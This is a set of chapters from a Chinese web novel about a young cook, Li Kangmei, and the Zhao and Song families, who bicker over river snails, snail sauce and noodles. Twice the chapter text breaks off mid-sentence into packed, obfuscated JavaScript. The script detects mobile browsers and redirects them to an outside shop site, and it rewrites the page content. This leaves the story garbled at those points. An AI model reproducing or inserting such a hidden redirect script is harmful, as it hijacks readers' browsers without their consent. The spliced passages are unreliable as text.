宋驰也听到自家赵四妹说话了，他也就是在自家人爹娘兄妹面前表现地憨一些，实际再精不过了，怎么能听不出赵四妹指桑骂槐说的是谁。 要放在之前，他大约会同赵四妹一起说，毕竟他也不喜欢那个赖上他哥的李美娘。 但是不是有了落水那一出，他没及时去叫人，害李美娘差点真死了，而且她娘回家说，大概就是他们两个过去找李美娘的时候，贸然叫她，才让她不小心跌进水里的。 就是这个原因，宋驰现在还是不喜欢李美娘，但是心里对她是有几分愧疚的。 “四表姐洗的是自个的衣裳吧，我说表姐你也是大姑娘了，小舅，小舅母不心疼你，你就自己心疼心疼自己，外婆是大气人，又疼爱小辈，大舅名医圣手，也不差钱，你就是废点柴火，烧瓢热水到水里，也没人说你什么。” 宋驰一张口，把他小舅一家都怼了进去，又捧了他外婆和大舅。 赵阿婆听到外孙说自己大气，赵大娘听到外甥说自家丈夫名医圣手，两人都是眉开眼笑，刚刚因为赵四妹肚子里升起的火气，都消下去不少。 赵四妹瞪着宋驰：这小子到底和谁一国的！ 那女人算计表哥，这蠢驴表弟还当人好，为那女人说话？！ 赵四妹心下恼火，立刻站起身来：“我为了谁，她都坑了表哥了，你个做亲弟弟的还要巴巴贴上去，给人家鞍前马后的当牛做马！”这是说宋驰和李抗美一起过来，帮着李抗美拎东西的事情。 赵家二姐听到堂妹这样说话，怕她把事情闹大，立即就拉了拉她的衣摆，叫她不要继续说话了。 哪里想，赵四妹一点不承她的好，胳膊肘一甩，差点把赵二姐推了个踉跄。 “我说错了吗？”她道，“就是个蠢驴，谁对他好都不知道！” 这话一出，立马就糟糕，赵阿婆和赵大娘的目光立即同雷电一般扫来，异口同声：“赵静姝！” 赵四妹是竹条还没抽到身上，胆子肥声音大：“也不知道被人家灌了什么迷魂汤，一个偷奸耍滑的烂女子，吃我家的，喝我家的，一点脸色没有，还要挑拨家里表兄妹的感情！”说到后面，赵四妹自己还委屈上了，她认为宋家表弟会这样对自己，就是被李美娘那个女人挑拨了。 被叫作蠢驴的宋驰面色不变，趁着大门还开着，往出溜，嘴上还道：“外婆，大舅母，二表姐，三表姐，我先走了，家里等着吃饭呢！今个我娘有人帮忙做饭，午饭吃得早，我得快点回去，要不好吃的菜就被宋小月那馋嘴猴都吃完了！” 宋驰和宋小月这对兄妹也是冤家。 赵家阿婆原本还要留外孙吃饭，但宋驰没给她机会，话都还没有说完，人都快要走出巷子了。 等宋驰彻底走没影了之后，赵家阿婆把家里门重重一关，赵四妹随着门响声一齐抖了抖，再看着外婆和大伯娘的黑脸，这个时候才知道害怕。 但她是个倔的，这会儿就算两眼含泪，嘴唇都在抖了，也不愿意认错。 外面争执声起的时候，李抗美就没有出去了，而她对面的刘氏更是坐立不安。 李抗美倒是和没事人一样，手里从厨房的桶里把活鱼提了出来，熟练地杀鱼，刮鳞。 宋大娘昨天送过来的这条鱼，和李抗美昨天带回赵家的一样，也是一条鳜鱼。 虽然昨天赵家人都很喜欢拿到芙蓉菜羹鱼片，但李抗美还是换了一个花样，大约也可能是因为之前赵四妹说她家蛋不够吃了的缘故？ 李抗美：好歹也是寄人篱下，稍微自觉点吧！还用蛋做菜，万一赵四妹又把赵家没蛋，她弟吃不上水煮蛋的事情赖在她身上怎么办？ 和昨天一样，把鳜鱼处理过后片成鱼片，加入调料腌制，上浆，然后放置一旁备用。 早上的猪骨高汤托赵三姐帮忙看着，现在还在砂锅里用小火咕咚着呢。 李抗美舀了大约两碗半的猪骨高汤放到大锅里，大火煮沸，加入调料先行调味，再放入片鱼片剩下的鱼头和鱼骨。 把灶里的柴火抽出来一根，让锅底火势变小之后，焖煮鱼头鱼骨。 另起一锅，放清水煮沸，也不加盐之类的调料，直接把洗干净的菘菜心放进去烫熟。 那边菘菜心处理得差不多了，头锅的鱼头、鱼骨也煮熟了，捞出来先放在汤盆里，再把处理好的鱼片下入煮过鱼头、鱼骨的猪骨高汤中。 鱼片片地极薄，不过在锅 13. 第 13 章 《炊烟渔火味正浓（美食）》全本免费阅读 且说宋驰那边，先是在赵家这么一磨蹭，路上的时候碰见几个熟人介绍生意，寒暄一二又是时间，等他回家的时候，饭倒是没凉——宋大娘特地把他的饭放锅里温着呢。 但是好吃的炒螺蛳，就只剩下汤和调料，哦，还有宋小月特地留下来的一粒螺蛳。 “宋小月！”宋驰怒吼，“你个馋嘴丫头，吃独食！” 他在外婆家说的，可真一点都没冤枉宋小月。 宋小月昂着头，她可一点都不怕她小哥，用筷子把盘子葱姜蒜里埋着的最后一颗独苗苗螺蛳扒拉出来，送到她小哥碗里。 “我哪里吃独食了，你可别冤枉我，这不是给你留了一粒吗？爹要吃我都没让！这家里可就我惦念着你，你还怪我！” 宋小月这话说得大义凛然，而宋驰听完脸都黑了。 他咬牙切齿：好一个惦念！ 别的菜还有一半，这盘菜已经干干净净，只剩下些宋小月不爱吃的葱姜蒜，宋驰就知道这盘菜大约特别好吃。 螺蛳他也吃过，知道有人是把螺蛳屁股砸开了吃，这样吃得比较方便。 那边宋小月还怕她小哥吃不来这新鲜玩意，用筷子夹了个桌子上的空螺壳，教她小哥怎么吃螺蛳。 “就这样放嘴里一吸，就可以吃了！” 宋驰翻白眼：“我知道，不用你教！” 宋小月噘嘴不高兴：“好心没好报！” 宋木匠和宋大娘夫妻在旁边吃饭，不搭理小儿子和小闺女的官司，这两个从小就这样，现在吵，待会没准又和好了，让父母去判他们这理不清的兄妹官司，还不知道要闹到什么时候。 螺蛳已经冷了，可这并不影响它的美味，宋驰就这么尝了个味道，塞牙缝都不够，两兄妹又为这事吵了起来，宋大娘一边一个，被吵得头疼，答应两个小的，晚上再炒一盘这个螺蛳，才把两个小孩安抚下来。 不过宋小月却抓住了重点：“娘，晚上那个李姐姐还过来帮你做饭吗？” 宋小月是个精的，她午饭前到家的时候，这盆螺蛳就在了，当时她娘身上可没有穿着围裙，而她娘做饭是必定要穿围裙的，因为怕油点子沾到衣服上，不好洗干净。 所以虽然她娘没说这螺蛳是谁炒的，宋小月也已经猜了出来，肯定不是她娘的手艺。 她娘要是有这个手艺的话，家里早就吃上了这么好吃的螺蛳了，何必要等到今天。 螺蛳又不是个金贵东西，以前夏天的时候，她和小哥一起出去玩，每次都能在水渠里摸到很多带回来砸碎了喂给家里的鸭子吃。 宋驰也是个精明的，但到底是个男孩子，心没有那么细，听到晚上有的吃就放过宋小月中午这茬了，大口大口扒饭，打算中午早点出去干活，晚上早点回来吃饭，免得宋小月这个大馋丫头又给吃得干干净净。 宋大娘听到女儿问话，心里头也有些虚，她知道闺女话里的另外一层意思，不过美娘还没过门的，今天过来是帮她娘家送点东西，哪能顿顿上门给家里做饭？ 宋大娘咳嗽了一声：“放心吧！娘在灶台后面都看得清清楚楚，你美娘姐姐做的时候，也和娘说清楚了放什么调料，保准味道差不离！” 宋驰听到他娘的话，才明白过来：敢情今天这盘让宋小月不顾兄妹之情的炒螺蛳，不是娘做的，是李美娘做的啊！ 吃过饭后，宋驰紧忙出去做他的掮客生意，而宋小月留下来洗碗，宋大娘做别的家务，缺点东西懒得走，扭头想叫闺女送过来的时候，灶房里早就人去楼空，只有洗干净的碗反扣在宋木匠做的沥水架上晾干。 至于宋木匠，铺子里活计忙，宋驰回来没吃几口饭，他就匆匆走了，连兄妹俩的吵架都没听全，更是不知道中午那盘颇得他心意的下酒小菜是谁炒的。 当然，宋大娘藏在橱柜里的香酥小鱼，他也没有见着，要不他就知道让他心心念念的大厨在今天早上上他家门来了。 反倒是宋小月，这大约是个小老鼠投胎的，家里有点好吃的都躲不过她的鼻子，翻橱柜看到了宋大娘藏着的香酥小鱼。 她立刻抽了一张包过点心的油纸，抓了一把香酥小鱼包上，把油纸包藏进身上挂着的斜挎小包里，还不忘记踮着脚把橱柜里剩下的香酥小鱼鼓捣成没有人碰过的模样。 宋小月，老偷吃人了。 在外头玩了半下午，兜里带的好吃的，包括香酥小鱼，全散得干干净净之后，宋小月掂着自己小包里换回来的一串铜钱，准备往家去。 没错，宋小月虽然会偷偷把家里的东西放到自己的包包里带出去，但却不全是她一个人吃了的，她会分一点给玩得好的小伙伴，小伙伴如果还想吃，或者别的小孩也想要的话，就得拿铜钱和她买。 半块糕点一文钱，或者一块馍馍一文钱。 小孩也是奇怪，在家里或许还要人哄着吃的东西，在外面宋小月要他们掏钱买，他们也愿意。 不过宋小月也不黑心，她卖给小孩的吃的，算起来价格只比街上卖得贵了一点，可街上也不能让小孩拿一文钱买到半块糕点，四分之一个白面馒头之类的啊！ 半卖半送，宋小月兜里也积攒下不少铜钱，她大约是榕树巷十岁以下小孩里最有钱的了。 至于十五岁以下最有钱的小孩，大约就是宋小月那个在城门口当掮客的小哥宋驰。 “小月，这几天隆兴坊那边有卖麦芽糖，你去不去？” 宋小月回家的步伐才走了几步，她身边类似四大天王，简称宋小月狗腿子的小孩狗蛋开口了。 14. 第 14 章 宋小月还问过她娘，橱柜里多出来的香酥小鱼，也是李美娘做的。 宋小月早先成日听小哥在耳朵旁边念李美娘是个坏女人，诬赖大哥，虽然最近一段时间已经很久没有听她小哥念叨过了，但宋小月对李美娘的感官还是很不好。 但今天的一盘炒螺蛳，却让宋小月对李美娘的印象产生了翻转——原来坏女人手里也能做出这样的好吃的呢！ 小哥说李美娘一肚子坏水，坏的流脓，宋小月心想坏水、流脓肯定都是臭臭的，但是李美娘做出来的炒螺蛳却是香的她连舌头都要一起吃掉了。 而且昨天晚上爹爹都舍不得给她和小哥多吃的小鱼，这个女人也会做。 宋小月越想就越对李美娘产生好奇，反正人都已经到隆兴坊了，去到外公家也就几步路的距离，宋小月干脆就甩了小伙伴，过去看看李美娘。 中午的时候她抱住了李美娘，在她身上闻到香香的皂角味道，比娘亲洗的衣服还要香，宋小月就知道小哥又胡说八道了，她身上那么香，怎么会臭呢！ “外婆！外婆！我来看你了！”人还没有到赵家的院子，清亮亮的嗓音已经到了。 赵阿婆脸上挂笑，忙过来开门：“小月，外婆的心肝肉啊！怎么这时候来了！” 赵阿婆还以为是闺女派这小人儿过来跑腿的，但宋小月身上只背了个小包，别的什么都没有，倒是爪子上举了一根麦芽糖。 宋小月举着麦芽糖往赵阿婆跟前送：“外婆，这是我特地给你带的麦芽糖，可好吃了，我都给你搅和好了，你尝尝！”这根麦芽糖当然不是宋小月之前和狗蛋分的那根，那根她在路上就吃完了，这根是她特意买的。 宋小月虽然调皮，但是被宋大娘夫妻教的很好，知道上门不能空俩爪子就去。 但宋小月自己又有一套属于自己小孩子的思路， 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“美娘，做好了？”郑冬冬笑眯眯过来，看了一眼旁边一脸馋像，还努力吞咽着口水不想让人家看出来的外孙女宋小月，郑冬冬暗自轻笑：这只小馋猫，恐怕已经等不及了。 但郑冬冬也知道，外孙女虽然馋嘴，但出门在外还是有家教的，就算再馋，都不会主动要吃食。 得到李抗美的回应之后，她接着忙开口，却不是冲着李抗美了。 “静霞，给你小表妹装一碗，让她带回去给你姑妈尝尝鲜！”静霞正是赵三姐的闺名。 郑冬冬话说完，就去瞧外孙女的表情，果不其然，见小丫头眼睛一下就亮了起来，她心中好笑，亲自过去拿了口小碗扣在装着螺蛳酱的碗上，用系药包的麻绳把两个碗捆牢，还细心留了个提手出来，方便宋小月提着。 做完一切还不忘小心叮嘱：“待会小心提回家去，碗别翻过来，走路的时候也看着点，别跌了。” 宋小月拍拍自己的小胸脯：“外婆，你就放心吧！我已经是大小孩了，怎么会这点事都做不好！” 郑冬冬摸了一下孩子的小发髻，才转而对李抗美、赵三姐二人道：“美娘，静霞，你们也辛苦了，这螺肉酱也不用都装完，剩下一点，大家都趁热尝尝味道！” 郑冬冬不说是赵老太太嘴馋想吃，只说让大家趁热尝尝味道，既保全了赵老太太在小辈面前的面子，又让赵老太太吃到了想吃的东西。 李抗美做螺蛳酱的时候是和赵家长辈通了气的，当时就说是别浪费了这点螺蛳，做点螺蛳酱出来，早上多一道小咸菜，就窝头、馒头这些吃也不错。 赵家两位年长的长辈，郑冬冬和赵大娘一听可以就窝头、馒头这些干粮，心里一下就想到了自家丈夫、儿子要进山收药，这螺蛳酱来得正好，可以让他们带进山里吃。 听说李抗美会做好几种螺蛳酱，赵家两位长辈二话不说，选了里头放猪肉的，进山收药，可是一件苦活计，总要让丈夫、儿子吃得好一点，他赵家也不差这点钱。 郑冬冬是从赵老太那边过来的，这螺蛳酱本来就说好是给进山的赵家父子带的，这会儿又说给大家尝尝味道，李抗美和赵三姐眼珠子一转，就知道其中内情。 赵三姐惦念着李抗美教自己做螺蛳酱的情分，没让李抗美搭手，自己过去锅里舀一碗螺蛳酱出来。 螺蛳肉没料地很，往油里一扎，本来就不大的个头，又缩水不少，那猪肉肉沫在油里煸炒一会儿，也缩水严重，就算有放别的料，加起来也没有多少。 原本估计放在小瓦罐里，也就两罐多点，先是给姑母家分了一碗，现在又要送老太那儿一碗，剩下的螺蛳酱估计也就一罐半不到了。 但又能怎么样？奶奶都发话了，而且家里老太太是祖宗，总不能不孝顺。 姑母那儿是家里嫁出去的姑奶奶，而且这螺蛳还有猪肉也都是姑母那边送过来的，这是人情往来，也不能避免。 李抗美看着赵三姐舀了一满碗出去要给赵老太吃，眼睛抽了抽，忙拦下来。 “这东西咸，老太就这么空口吃不好。”而且还油，老太太七八十岁了，胃口还不好，这么又油又咸的东西吃下去，还不知道她身体受得住受不住呢！ 郑冬冬也想到了这茬，心里又泛起为难，老太太年纪大了，颇有胡搅蛮缠的意思，别的都好说话，就是这吃食上，还真是个老小孩，要是不给她吃，恐怕真要闹起来！ 赵大娘也闻到了炒螺蛳酱的香味，早就听到外面动静，不过她是站在屋门口，而且手里还拿着针线缝袜子，她丈夫有双汗脚，走山路一天下来估计那鞋袜就湿透了，一双鞋子、一双袜子可不够，要多备几双，要不是这样，她婆婆郑冬冬也不用替公公做鞋子，她这个儿媳妇代劳了就是了。 她手里坐着袜子，眼角余光却一直注意着灶间那边，看到她家闺女那手大的，眼睛也直抽抽：她奶说给她姑母家一碗，她就实诚舀了一大碗，说她奶要吃，又实诚舀一大碗，待会说大家尝鲜，这傻闺女不会又实诚舀一大碗吧！ 这你一碗，他一碗的，这螺蛳酱还剩下什么，叫她爹、她爷爷在山里吃风喝露去吧！ 赵大娘也就心里这么一骂，明面上是不敢说的，毕竟要是不孝顺家里老祖宗，别说传到外面去怎么样，自家那几个孝顺赵家男人，就要给她脊梁骨戳断。 但也不能拦着，所以这会儿听到李抗美张口说话，赵大娘干脆不出声，看婆婆怎么说。 “要不给老太拿块榆钱团子？”说话的是赵三姐。 早上做的榆钱团子已经吃完了，因为味道不错，上午榆钱洗出来，中午李抗美做饭的时候，几个赵家女人又做了不少榆钱团子出来，因为量大，所以中午做的榆钱团子也没早上做的那批甜，不过现在看起来，配着咸咸的螺蛳酱或许刚好？ 不过这只是赵三姐自己一人的想法。 屋门口缝袜子的赵大娘恨不得过去敲一下傻闺女：还就榆钱团子呢！ 郑冬冬也是微微皱眉：“你老太不爱吃榆钱。”其实是年轻的时候吃伤了，后来就不愿意吃这玩意，早上美娘做的新鲜吃法，老太也没吃几口，还是后来她单独给老太炖了个蛋羹。 最后还是李抗美开口：“要不揉碗面烫给老太吃？这螺蛳酱放面里拌一拌，做浇头也挺好吃的。” 李抗美视线落在郑冬冬身上，她就是提个建议，这事情咋样，还是要看赵家外婆的决断。 郑冬冬看看天色，距离吃晚饭的时间也没多长时间了。 “也行，做碗面给老太当半下午的点心，多揉点，晚上我们也吃面算了！” 那头婆婆话说出口后，赵大娘手里袜子也就剩最后几针了，她快步过来：“我来，我来，老太□□吃我揉出来的面，等我洗洗手，一起来帮忙！” 路过宋小月这个外甥女，还用手摸了一下小丫头的小发髻：“小月，晚上留在舅舅家吃面，你不是最爱吃舅母擀的面了吗！舅母给你多放浇头多放面！” 要说赵大娘有多小气，多抠门，倒是没有，她只不过心疼自家男人上山收药，吃不到好的，这才有些舍不得把螺蛳酱分出去，平时对家里人，还有宋家这些有来有往的亲戚们，还是很大方的。 要说宋小月多爱吃赵大娘擀的面，倒也不至于，只不过是小孩子嘴甜，哄大人说的话而已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12150464|128892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但要说多放浇头——宋小月看了一眼旁边站着的李抗美，还有她三表姐手上拿的螺蛳酱。 浇头是这个螺蛳酱吗？要不是的话，如果是这个李家姐姐做的，没准也很好吃！ 这就是个小馋嘴猫，吃过李抗美做的酱爆螺蛳，就认定李抗美做别的菜肯定也很好吃了。 赵大娘做起事来风风火火，刚刚和宋小月的话也不是商量，是通知，不给宋小月拒绝的机会，她已经大步朝着赵三姐的方向过去，抢过她手里的螺蛳酱，把自己手里差几针的袜子塞到她手里。 “灶间的活我来干，你去把房间收拾了。”说着又瞪了闺女一眼，赵三姐还不知道自己哪里惹了亲娘，但她也不是会顶嘴的主，好脾气依着亲娘的话，去收拾房间了。 郑冬冬回去给赵老太回个话，免得她等得慌，顺便还要去自己房里掏点银钱出来。 老太太吃面必定要配一个荷包蛋，家里几个老爷们随了老太太，也爱那么吃，不过家里也是真没几个鸡蛋了，看来等天气暖和点，还是要多养几只鸡。 至于现在，上街买去吧！ 出了房门，见着在灶房凑热闹看赵大娘揉面的宋小月，郑冬冬招招手：“小月。” “外婆！”小丫头屁颠屁颠跑过来。 郑冬冬拉住小丫头的手，“和外婆一起上街去，顺便去城门口找你小哥，叫他回家报个信，把你大哥也叫上，晚上都在外婆家吃！” 宋小月自然没有不乐意的。 且说宋驰那边，得了他外婆的信，屁颠屁颠就往家去了，宋小月还叫他顺手把外婆分给他们家的螺蛳酱带回家里去。 这回没有宋小月，宋驰可算可以敞开肚皮尝尝这螺蛳酱了。 宋大娘见小儿子风风火火进门来，什么话都不说，先去灶间抽了双筷子，心里好奇，追了过去：这臭小子又在搞什么名堂。 进到灶间，就见到桌上放着一大一小两口碗，旁边还扔着一团细麻绳，再看自家小儿子手拿筷子，吃得满嘴流油。 “干嘛呢！” 宋驰是真不嫌螺蛳酱咸，挑着螺肉、肉沫，短短片刻就把一碗螺蛳酱吃出一个缺来。 此时见到他娘进门，还被吓了一跳。 “娘，你走路咋没声啊！” 宋大娘看向桌上螺蛳酱：“哪儿来的？” 宋驰把筷子一放，用旁边的大茶壶给自己倒了一碗茶，咕咚咕咚喝下去，喝完才一抹嘴回答他娘的话。 “宋小月从外婆家拿来了。”这句话才说完，宋驰屁股已经从椅子上提起来了，他边走边说：“对了娘，外婆叫我和小月留在她家吃晚饭，晚上我就不回来吃了！” “嘿！”宋大娘见着宋驰这小子一下就蹿到了门外，紧忙追出去，想留下这小子：“你给我回来，留家里吃！家里那么多剩饭，你们一个个都出去吃，这剩饭留到猴年马月？！” 还真要留到猴年马月了，因为巷子口，又远远传来宋驰那臭小子的声音：“对了娘，外婆叫我去衙门口给大哥也传个话，大哥晚上也不回来吃了！” “宋小七！”宋大娘的怒吼声在榕树巷回荡，但是抓不回那个要去外婆家蹭饭吃的臭小子。 16. 第 16 章 上回李抗美在渔船上给宋木匠还有老何捕头做过漏粉，勉强也算个面食，不过今日就不能像在船上那样糊弄了。 赵大娘虽然请缨揉面，但赵家上上下下十几口人，再加上宋家三兄弟，吃饭人数眼瞅着奔着二十出头去了，这面要是都给赵大娘一个人揉，怕是赵大娘今晚胳膊揉肿了都喂不饱上上下下十几口人。 除了坐月子的赵大哥妻子王氏，赵二哥的妻子陈氏也被叫了回来，还有赵小舅的妻子刘氏。 刘氏有心想让被关在房间里反省的闺女赵四妹出来帮忙，到时候叫孩子说几句认错的软话，婆婆和妯娌约莫就不会生气了。 但是郑冬冬考虑到赵四妹那个死犟的性子，而且中午才和宋驰吵过架，和宋小月也不怎么对付，每每见到都是针尖对麦芒，还是拒绝了小儿媳的请求。 刘氏在赵家原本就没有什么地位，被婆婆拒绝了之后也不敢多说什么，只是心里多少有些埋怨。 赵四妹被关在房间里反省，赵二姐不知所踪，赵三姐被赵大娘差遣去打扫房间了。 剩下老的老，小的小，揉面的人，实打实也就只有赵大娘、小舅母刘氏、赵二哥才新娶进门没多久的媳妇陈氏，以及一个客居在赵家的李抗美。 揉面要力气，赵大娘和刘氏还好说一点，毕竟操持那么久的家务了，就是陈氏才进赵家没多久，李抗美看她至多也就不过十五六岁的样子。 其实陈氏已经十八岁，只不过在娘家的时候吃得不好，身量没长起来，才看着年纪小一些。 陈氏在娘家的时候也是做惯了家务的，但到底身体亏空了那么多年，嫁到赵家以后才养出点肉，身上还是没多少力气，平时她在赵家灶房做得最多的活计也就是烧火。 嫁进来这么长时间，还是第一次当此大任（揉面），陈氏还有些小兴奋，不过她不等她兴奋到头，揉面的活就被看不下去的赵大娘抢走了。 “你搁这挠痒痒呢！等你做好，锅都烧干了，边去！” 陈氏委委屈屈：她这是第一次揉面，她娘家都是吃漏粉多，省面。 赵大娘手快，接过陈氏那盆面团的时候，她最开始做的那盆面的面团已经放在湿布下面醒发了。 出生在厨师世家的李抗美可以说是拿着锅铲出生的，她的眼睛就是尺、就是秤，和赵家一起吃饭也有一段时间了，对众人的饭量也都十分了解。 她看一眼赵大娘的那个面团，就知道只够五个人吃的，刘氏的那个面团更小一点，大约也就够四个人吃的，陈氏这边胆子更小，那团面揉出来估计就只够她自己还有她家赵大哥吃个七分饱。 赵大娘眼睛没有李抗美那么利，但在赵家做了那么多年媳妇，十几年厨房里的活计都是她一个人掌管的，闭着眼睛做饭也知道陈氏盆里的面不够吃。 刚刚已经骂了这个二儿媳妇一句，赵大娘现在也没有多骂，知道二儿媳娘家家境不好，是个眼小手轻的，一时半会儿也改不过来。 从面口袋里捞了一勺面想要加进盆里，却不料一只带着薄茧的温凉小手从她手里接过了舀面的笊篱。 抬头对上李抗美巧笑嫣然的面庞。 李抗美笑着接过赵大娘手里的笊篱，倒到了自己的盆里：“大娘揉了一盆面了，歇歇手，接下来让我们小辈来吧！正好我做个新鲜的面食给大娘吃，大娘也尝尝我揉面的手艺怎样！” 李抗美要干活，赵大娘自然不会拒绝，昨天开始吃过李抗美做的饭，赵大娘就知道姑奶奶家这个未过门的媳妇，在厨艺上绝对是她们一大家子的女人捆在一起都追不上的。 “欸！”不过怎么连她手里二儿媳揉一半的面都给她捧走了？ 陈氏原本都打算坐回自己的专属小板凳，去灶台后面烧火去了，没想到李抗美又把自己揉了一半的面从婆婆那里“抢”了回来。 还没来得及羡慕李家娘子灶台上的手艺好，连婆婆都放心她，就见到那面盆又到了自己面前。 “二嫂，我们一起揉面啊！” 陈氏都不敢相信，怯懦看了不远处在切菜码的婆婆一眼。 赵大娘不搭理，陈氏又看看李抗美：婆婆刚刚是听到李家娘子说的话了吧，不怕把这盆面给她，揉坏了，糟蹋了东西？ 李抗美却不管陈氏的心理活动如何，直接把面盆塞到了陈氏的手里，那边一边往自己的面盆里舀面，一边指点陈氏应该怎么揉面，揉面的时候应该用手掌哪里发力，手上力气要是不够，又有什么讨巧的方法。 李抗美一边揉着自己手里的面团，一边教导陈氏，竟然还真让陈氏揉出了一团像模像样的面团。 陈氏都不敢相信这是从自己手里做出来的，小心放到湿布下面醒发，又过去李抗美那边：“李家娘子，我帮你一起吧……” 陈氏手里的面团至多也就三个人吃的分量，还是陈氏这种小胃口的，李抗美手上的就不一样了，十人份的面团，要不是李老爹在国营饭店做大厨，李抗美从小就在后厨帮忙，她还真揉不动。 不过现在换了一副身子，又是大病初愈，李抗美还真有点吃不下。 特别是她要做的是刀削面，揉的面团还比赵大娘他们的手擀面要更硬一点。 陈氏要过来帮忙，李抗美也没有拒绝她，分了一点面团给她，让她学着自己的样子揉。 李抗美这个身子十七岁的年纪，除了身量稍微比陈氏高一些，她和陈氏还真是半斤八两，陈氏是瘦小，而李抗美则的薄如纸片。 此时身上系紧了围裙，从侧面看过去腰身窄窄一把，仿佛一只手就可以握过来，揉面用劲的时候，都怕她折了腰。 另一边宋小月见着陈氏分了李抗美一团面团，也屁颠屁颠跑过去，她也不说话，就睁着一双黑葡萄一般的眼睛盯着李抗美。 李抗美看得好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12190690|128892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑，她怎么能不知道小孩子心里的小九九，是想玩面吧。 也不多说什么，就说了一句：“去洗洗手，手洗干净了来。” 宋小月开心得差点跳起来，还不忘伸着小手告诉李抗美：“我最爱干净了，我不是脏小孩，我的手指甲缝里都是干干净净的！” 李抗美也不敷衍，仔细看了宋小月的一双小手，才点点头，用夸张的语气道：“果然是个爱干净的小朋友，指甲干干净净、整整齐齐！” 宋小月又开心又得意，她觉得这个李家姐姐完全没有他小哥说得那么坏。 因为李抗美是唯一一个她想要揉面的时候会分给她的，而且还夸她是个爱干净的小朋友呢！ 李抗美这边十人份的面团揉好的时候，赵大娘还有刘氏做的手擀面都已经切好了。 赵大娘那边见到李抗美把面团送到湿布下面醒发，小心掸了掸手上的面粉：“正好，我这里面切好了，美娘你那个螺蛳酱面怎么做，咱们手艺都没你好，你下一碗面给老太吧！” “这也没什么难度的，面煮好，挖点螺蛳酱放里面拌拌，沾个味道就可以了，要不放在面汤里一起煮也可以……” 李抗美说着已经开始上锅煮面了。 一小份面放进圆筒状的竹笊篱里放清水里煮，另外又起了一锅，炒菜码。 李抗美：“老太年纪大了，面食吃多了撑肚子，另外再配点菜码，多做一些，待会大家也可以吃。” “是这个道理。”众人点点头。 既然知道今天上要吃面了，李抗美自然是在揉面前就做了准备，小火卤了一锅豆干还有鸡蛋。 先在锅里放油煎了几个赵家人吃面必不可少的荷包蛋，然后就着锅里的油炒菜码。 赵老太的菜码是单独炒的，因为知道她要吃螺蛳酱拌面，就少放了些盐。 微黄的面条放在小碗里，大约也就三四口的量，碧绿的菜码堆在面条侧面，围成一个圈守卫一般，拱卫着面条。 面条上方还放了一个荷包蛋，荷包蛋上面舀了一勺螺蛳酱。 考虑到赵老太已经有一个荷包蛋了，面条上就没有放卤蛋，放了两片切成三角的卤豆干，斜斜靠在面条上。 郑冬冬亲自过来端面，看到这碗面条就夸：“我们伺候了一辈子的厨房，都没美娘你这巧思，看看这面条做得！” 宋驰恰好是这个时候过来的，去找他大哥耽误了一点时间。 他和托盘上的面条擦肩而过，身子都走过去了，那脑袋还朝着面条的方向望着呢！ 原本在家里吃了一点螺蛳酱，喝了一碗水还觉得口干，又出去买了个饼子啃，本来觉得垫了垫肚子，没有那么饿了，但在看到这碗色香味俱全的面条的时候，他嘴里的口水又迅速风靡了出来。 他也听到了自家外婆夸李美娘的话：这碗面是那渔女做的？她竟然有那么好的手艺？！ 17. 第 17 章 “七郎，四郎呢？”赵大娘估摸着时间，也是大外甥下值的时候了，没见着大外甥跟着小外甥一起过来，少不得要多问一句。 宋驰被大舅母问起大哥的事情，尴尬地笑了笑。 “我大哥，我大哥他说衙门里有应酬，就没工夫过来吃饭了，叫我给舅舅、舅母们带个好。”又拎起手里的油纸包递给赵大娘，“这是我大哥买的，说他人来不了，就给舅舅带个下酒菜赔罪，下回他一定抽空来陪舅舅们小酌一杯，同舅母道歉，没吃到舅母的好手艺……” 宋驰开口说话的时候舌头差点打结，他这辈子哪这样过，可怜了他还要替大哥说谎。 宋驰过去找到宋彦说要到赵家这事吃饭的时候，就被宋彦一口回绝了，说自己没有空，宋驰还不了解他大哥，其实衙门里屁事都没有，只不过是因为赵家住了一个李美娘，他不愿意过来而已。 和赵家大舅母说的这些话，也都是宋驰为了亲情考虑，编出来的借口罢了，就他大哥的，三棍子打不出一个屁，哪里会说这些贴心的话！ 当然这油纸包里的下酒菜也是他自掏腰包买的，两个猪耳朵，一块卤肉。 要宋驰说，他大哥就是矫情，现在他和李美娘的亲事都已经定下了，不愿意和李美娘见面，不愿意和李美娘在一张桌子上吃饭？ 到时候李美娘进门做他嫂子，你不但要和人家一张桌上吃饭，没准还要吃人家做的饭，夜里都和人家睡一个被窝！ 不过这些话，宋驰是不敢在他大哥面前说的，大哥威严尚在，他个当小弟的最多也就在背后嘀咕几句。 宋驰太会说话的原因，所以赵大娘听到宋彦没有过来吃饭，也一点生不起埋怨的情绪，逮着宋驰的手就往屋里头跩。 “都是自家人，还带什么东西，既然你四郎衙门里事忙，那今晚上七郎你就陪你外公、舅舅几个好好喝一杯！正好中午美娘从你家带回来的小鱼，下酒正好，我还留了一盘螺蛳，也就美娘给你爷几个炒了！” 说着赵大娘看了一眼厨房方向李抗美影影绰绰的身姿，冲着宋驰比了一个大拇指：“你家这嫂子，做菜的手艺是这个！” 